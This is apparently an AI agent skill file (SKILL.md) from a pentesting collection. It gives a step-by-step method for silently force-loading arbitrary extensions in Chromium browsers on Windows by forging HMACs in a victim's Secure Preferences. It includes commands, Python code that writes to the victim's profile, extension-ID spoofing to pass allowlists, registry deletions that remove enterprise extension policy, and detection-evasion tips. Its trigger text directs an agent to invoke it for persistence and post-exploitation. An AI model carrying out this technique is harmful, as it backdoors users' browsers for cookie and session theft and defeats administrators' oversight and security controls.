Hacktricks-skills forced-extension-load-mac-forgery
Force-load arbitrary browser extensions in Chromium-based browsers (Chrome, Edge, Brave) on Windows by forging valid HMACs in Preferences/Secure Preferences files. Use this skill whenever you need to persist a browser extension silently, bypass extension allowlists, or achieve in-browser code execution during post-exploitation. Trigger for any task involving browser extension persistence, Chromium preference manipulation, or bypassing enterprise extension controls.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows/SKILL.MDForced Extension Load & Preferences MAC Forgery (Windows)
A stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing user preferences and forging valid HMACs for the modified nodes.
What This Skill Does
- Generate deterministic extension IDs with embedded public keys
- Compute valid HMAC-SHA256 MACs for Chromium preferences nodes
- Craft preferences entries to silently activate extensions
- Bypass enterprise extension allowlists via ID spoofing
- Provide operational guidance for detection avoidance
When to Use This Skill
Use this skill when:
- You need to persist a browser extension without user interaction
- You want to bypass extension install allowlists/blocklists
- You're performing post-exploitation and need in-browser code execution
- You need to modify Chromium/Edge/Brave preferences with valid MACs
- You're testing browser extension security controls
Prerequisites
- Windows target with Chromium-based browser (Chrome, Edge, Brave)
- Write access to victim's browser profile directory
- Python 3 with
library installedcryptography - Target browser version: Chromium 130-139 (verified)
Quick Start
# Generate extension ID and key pair python scripts/generate_extension_keys.py # Extract HMAC seed from browser's resources.pak python scripts/extract_hmac_seed.py --browser chrome --version 139 # Forge preferences entry with valid MACs python scripts/forge_preferences_mac.py --extension-id <id> --seed <hex> --path <extension-path>
Core Concepts
How It Works
Chromium stores per-user extension state in JSON preferences files and protects them with HMAC-SHA256. The HMAC seed is embedded in the browser's
resources.pak file. By computing valid MACs with the browser's embedded seed and writing them next to injected nodes, the browser accepts and activates your extension entry.
Where Extension State Lives (Windows)
| Browser Type | Profile Path | Preferences File |
|---|---|---|
| Non-domain-joined Chrome | | |
| Domain-joined Chrome | | |
| Edge | | |
| Brave | | |
Key Preference Nodes
extensions.settings.<extension_id> → Extension metadata extensions.ui.developer_mode → Boolean (required for unpacked extensions, Chromium ≥134) protection.macs.extensions.settings.<extension_id> → HMAC for settings node protection.macs.extensions.ui.developer_mode → HMAC for developer_mode (Chromium ≥134)
Step-by-Step Methodology
Step 1: Prepare Your Extension
Create an unpacked MV3 extension with a deterministic ID:
// manifest.json { "manifest_version": 3, "name": "Your Extension", "version": "1.0", "key": "<BASE64_DER_SPKI>", "permissions": ["tabs", "storage", "cookies"], "background": { "service_worker": "background.js" } }
Important: Embedding a fixed
key in manifest.json locks the extension ID to that key instead of the installation path, making it stable across hosts.
Step 2: Generate Extension Keys
Run the key generation script:
python scripts/generate_extension_keys.py
Output:
Extension ID: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 Public Key (base64): MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A... Private Key (base64): MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSk...
Add the public key to your
manifest.json under the key field.
Step 3: Extract HMAC Seed
Extract the HMAC seed from the browser's
resources.pak:
# For Chrome python scripts/extract_hmac_seed.py --browser chrome --version 139 # For Edge (may use different seed) python scripts/extract_hmac_seed.py --browser edge --version 139
The seed is typically in file ID 146 of
resources.pak. The script outputs the hex-encoded seed.
Step 4: Forge Preferences Entry
Craft the preferences entry with valid MACs:
python scripts/forge_preferences_mac.py \ --extension-id a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 \ --seed <extracted_seed_hex> \ --path C:\\Users\\victim\\AppData\\Local\\Temp\\evil-extension \ --output preferences_patch.json
This generates a JSON patch with:
- Extension metadataextensions.settings.<id>
- Set toextensions.ui.developer_modetrue
- Valid HMACs for both nodesprotection.macs.*
Step 5: Apply to Target Profile
Merge the patch into the target's preferences file:
import json # Load existing preferences with open('C:\\Users\\victim\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences', 'r') as f: prefs = json.load(f) # Load patch with open('preferences_patch.json', 'r') as f: patch = json.load(f) # Merge (simplified - use deep merge in production) for key, value in patch.items(): prefs[key] = value # Write back with open('C:\\Users\\victim\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences', 'w') as f: json.dump(prefs, f, separators=(',', ':'))
Next browser launch will auto-activate your extension.
Bypassing Enterprise Controls
Extension ID Spoofing
Bypass
ExtensionInstallAllowlist by spoofing a whitelisted extension's ID:
- Install an allowed Web Store extension
- Extract its public key via
chrome.runtime.getManifest().key - Use that key in your malicious extension's manifest
- Forge preferences with the spoofed ID
The allowlist check matches on ID only, not hash.
Extension Stomping
If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This replaces the legitimate extension while preserving the trusted ID.
Neutralizing GPO (Admin Required)
# Remove extension policies reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Detection and Evasion
What Gets Logged
- File writes to
/PreferencesSecure Preferences - New nodes under
extensions.settings - Changes to
extensions.ui.developer_mode - Registry modifications to
HKCU\Software\Policies\*
Evasion Tips
- Time-based: Write preferences when browser is closed
- Process-based: Use a legitimate process (e.g.,
via injection) to write fileschrome.exe - MAC validation: Always compute valid MACs - invalid MACs trigger warnings
- Minimal changes: Only modify necessary nodes, preserve existing structure
What NOT to Do
- ❌ Use
command-line flag (noisy, widely monitored)--load-extension - ❌ Write invalid MACs (browser will reject and may log)
- ❌ Modify preferences while browser is running (changes may be reverted)
Extension Capabilities
Once activated, your extension runs with declared permissions:
| Permission | Capability |
|---|---|
| Access tab content, URLs, navigation |
| Read/modify all cookies |
| Persistent local storage |
| Intercept/modify HTTP requests |
| Access currently active tab |
| Inject scripts into pages |
Troubleshooting
Extension Doesn't Activate
- Verify
isextensions.ui.developer_mode
and has valid MAC (Chromium ≥134)true - Check extension path is absolute and accessible
- Ensure manifest.json is valid and includes the
fieldkey - Verify MACs are uppercase hex
Browser Rejects Preferences
- Check JSON serialization matches Chromium's format (compact, no whitespace)
- Verify HMAC seed is correct for the browser version
- Ensure you're writing to the correct profile (Default vs Profile 1, etc.)
Edge/Brave Differences
- Edge and Brave may use different HMAC seeds (sometimes null)
- Test on target browser version before deployment
- Some builds may have additional protections
Scripts Reference
scripts/generate_extension_keys.py
scripts/generate_extension_keys.pyGenerates RSA key pair and deterministic extension ID.
python scripts/generate_extension_keys.py # Output: (extension_id, public_key_b64, private_key_b64)
scripts/extract_hmac_seed.py
scripts/extract_hmac_seed.pyExtracts HMAC seed from browser's
resources.pak.
python scripts/extract_hmac_seed.py --browser chrome --version 139 # Output: hex-encoded seed
scripts/forge_preferences_mac.py
scripts/forge_preferences_mac.pyCreates preferences patch with valid MACs.
python scripts/forge_preferences_mac.py \ --extension-id <id> \ --seed <hex> \ --path <extension-path> \ --output patch.json
References
- The Phantom Extension: Backdooring Chrome
- SecurePreferencesFile Research
- CursedChrome
- Chromium GRIT pak_util
Legal Notice
This skill is for authorized security testing and research only. Ensure you have explicit permission before testing on any system. Unauthorized modification of browser preferences may violate terms of service and applicable laws.